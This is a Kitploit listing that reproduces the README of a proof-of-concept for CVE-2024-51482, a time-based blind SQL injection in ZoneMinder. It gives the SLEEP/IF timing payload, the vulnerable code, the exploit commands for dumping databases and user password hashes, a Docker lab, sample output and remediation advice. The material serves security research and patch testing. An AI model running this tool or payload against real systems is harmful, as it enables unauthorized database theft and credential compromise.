Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-51482-POC — Time-based SQL injection PoC for CVE-2024-51482 in ZoneMinder, with reproducible Docker lab and automated data extraction. | Kitploit
Tools/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

Time-based SQL injection PoC for CVE-2024-51482 in ZoneMinder, with reproducible Docker lab and automated data extraction.

View Repository
73 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

ZoneMinder Authenticated Time Based SQLi POC - CVE-2024-51482

CVE-1 CVSS Python

⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.


Table of Contents

  • ZoneMinder Authenticated Time Based SQLi POC - CVE-2024-51482
    • Table of Contents
    • Overview
    • Vulnerability Details
      • CVE-2024-51482 — Time-Based Blind SQL Injection
      • Root Cause
      • Attack Flow
    • Repository Structure
    • Requirements
    • Installation
      • PoC
      • Docker Lab
    • Usage
      • Default behavior
      • Help screen
      • Commands
      • Output options
      • Flags reference
      • Full Example
      • Notes
      • Docker Lab
    • Example Output
    • Remediation
      • Against this CVE
      • Against similar vulnerabilities
    • Disclosure Timeline
    • References

Overview

This repository contains a time-based SQL injection PoC targeting ZoneMinder.

The tool allows:

  • Vulnerability verification
  • Database enumeration
  • Table and column discovery
  • Full table dumping
  • CSV export

It also includes a fully reproducible Docker lab for safe testing.


Vulnerability Details

CVE-2024-51482 — Time-Based Blind SQL Injection

  • CVE ID: CVE-2024-51482
  • CVSS v3.1 Score: 10.0 (Critical)
  • Vulnerability Type: Time-Based Blind SQL Injection
  • Affected Versions: ZoneMinder v1.37.* <= 1.37.64
  • Attack Vector: Authenticated endpoint (removetag)
  • Impact: Full database disclosure, data integrity compromise
  • Authentication Required: Yes (low-privilege user is sufficient)

Root Cause

ZoneMinder is a free, open source closed-circuit television software application. The vulnerability arises from insufficient input validation in the removetag endpoint of ZoneMinder. User-supplied input is directly incorporated into SQL queries without proper sanitization or parameterization, allowing attackers to inject malicious boolean-based SQL payloads. The exploit leverages:

root@kitploit:~
SLEEP(x - IF(condition, 0, x))

to infer data via response timing.

Full vulnerable code snippet from Github Maintainer Advisory:

root@kitploit:~
case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

Attack Flow

root@kitploit:~
Attacker                              ZoneMinder Web App
   │                                         │
   │  [Auth]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← authenticated session
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               SQL boolean query executed
   │                               IF(condition, no delay, SLEEP)
   │◄────────────────────────────────────────│
   │  Delayed response (timing oracle)       │  ← condition inferred
   │                                         │
   │  Repeat requests                        │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Timing differences reveal characters   │
   │                                         │
   │  Binary search per character            │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Extracted data (1 char at a time)      │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Full database disclosure               │
   │                                         │
   ✓  Complete data exfiltration via blind SQLi

Repository Structure

root@kitploit:~
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

Requirements

  • Python 3.8+
  • requests
  • Docker and docker-compose (for lab environment)

Installation

PoC

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Docker Lab

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configure environment variables
docker compose up -d

Usage

Default behavior

Without any flags, the tool will authenticate to the target, check its vulnerability, and if vulnerable, dump columns ID, Username, Password, Name and Email from the zm.Users table (dump-users command).

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password>

Help screen

root@kitploit:~
python exploit.py -h

Commands

check

Only checks if the target is vulnerable.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

Dumps ID, Username, Password, Name and Email columns from the zm.Users table. Default command if none is specified.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

Lists all databases.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

Lists tables in a specified database.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

Lists columns in a specified table.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>

dump-table

Dumps all data from a specified table.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>

You can also specify columns to dump (defaults to all):

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2

Output options

Disable terminal output

root@kitploit:~
--no-display

Export to CSV

If the file does not exist, it will be created. If it already exists, new results will be appended.

root@kitploit:~
--outfile results.csv

Flags reference

Target & Authentication

Core Commands

Command Options

Performance & Exploitation

Output Options

FlagDescriptionExample
--outfileSave output to a CSV file--outfile results.csv
--no-displayDisable terminal output--no-display

Logging & Display

Full Example

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8080 \
  -u admin -p admin \
  dump-table \
  --db zm \
  --table Users \
  --columns Username,Password \
  --threads 6 \
  --delay 2 \
  --outfile dump.csv

Notes

  • All commands require authentication (cookie or credentials).
  • dump-users is a shortcut for dumping the zm.Users table.
  • Multi-threading significantly speeds up extraction but may increase load on the target. 5 threads and a 3-second delay are safe defaults. Use custom values with caution.
  • CSV output supports both structured and flat data (e.g. list of databases vs full table dumps).
  • Use --no-check only if you are sure the target is vulnerable.

Docker Lab

The included docker-compose.yml sets up a vulnerable ZoneMinder instance.

root@kitploit:~
cp .env.example .env  # Configure environment variables
docker compose up -d

Access the web interface at http://localhost:8080/ (or your custom port). The default credentials are admin:admin. You can then run the exploit against this local instance for testing.


Example Output

root@kitploit:~
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                   
_________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
\_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
/    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
\     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
 \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
        \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                   

[∗] Target URL: http://localhost:8080/
[∗] Module : dump-table
[∗] Output will be saved to: ./out.csv

[∗] Attempting to log in with username/password authentication
 🡲  Credentials: admin:admin
[+] Successfully authenticated as user admin

[∗] Testing target vulnerability...
[+] Target appears to be vulnerable (response time indicates successful injection).

[∗] Dumping contents of table zm.Users...
[+] Found columns: Username, Password
[∗] Retrieving number of rows in the table...
[+] Table contains 2 rows. Starting dump...

[∗] Progress: 5/5 | admin
[∗] Progress: 60/60 | $2h$12$NHZs...
[+] Retrieved row 1 : admin, $2h$12$NHZs...

[∗] Progress: 4/4 | flag
[∗] Progress: 60/60 | $2y$10$1Ei....
[+] Retrieved row 2 : flag, $2y$10$1Ei....

+----------+----------------+
| Username | Password       |
+----------+----------------+
| admin    | $2h$12$NHZs... |
| flag     | $2y$10$1Ei.... |
+----------+----------------+

[+] Results written to ./out.csv
[+] Work done. Bye!

Remediation

Against this CVE

  • Update to ZoneMinder v1.37.65 or later, which includes a fix for CVE-2024-51482.

Against similar vulnerabilities

  • Implement proper input validation and sanitization on all user-supplied data.
  • Use parameterized queries or prepared statements to prevent SQL injection.

Disclosure Timeline

  • 2024-10-31: User Entropt and user connortechnology disclose the vulnerability on the ZoneMinder GitHub.
  • 2024-11-01: Patch is committed to the ZoneMinder repository.
  • 2025-02-13: Version 1.37.65 is tagged.

References

  • CVE-2024-51482 Details
  • NIST NVD Entry
  • ZoneMinder Official Website
  • ZoneMinder GitHub Maintainer Security Advisory
  • Fix commit in ZoneMinder GitHub
  • OWASP SQL Injection Prevention Cheat Sheet
Download Tool
FlagDescriptionExample
-t, --targetTarget base URL-t http://localhost:8080
-u, --userUsername for authentication-u admin
-p, --passwordPassword for authentication-p admin
--cookieUse an existing ZMSESSID cookie instead of login--cookie abc123...
CommandDescriptionExample
checkTest if the target is vulnerable (time-based SQLi)check
dump-usersDump the zm.Users table directlydump-users
list-dbList all databaseslist-db
list-tablesList tables from a databaselist-tables --db zm
list-columnsList columns from a tablelist-columns --db zm --table Users
dump-tableDump a specific tabledump-table --db zm --table Users
FlagDescriptionRequiredExample
--dbDatabase nameYes (for table/column ops)--db zm
--tableTable nameYes (for column/dump)--table Users
--columnsComma-separated list of columns to dumpOptional--columns Username,Password
FlagDescriptionDefaultExample
--threadsNumber of concurrent extraction threads5--threads 6
--delayDelay used for time-based SQLi3--delay 2
--no-checkSkip vulnerability check before exploitationFalse--no-check
FlagDescriptionDefaultExample
-v, --verboseEnable debug loggingFalse-v
--log-filePath to log filelogs/exploit.log--log-file out.log
--no-colorDisable colored outputFalse--no-color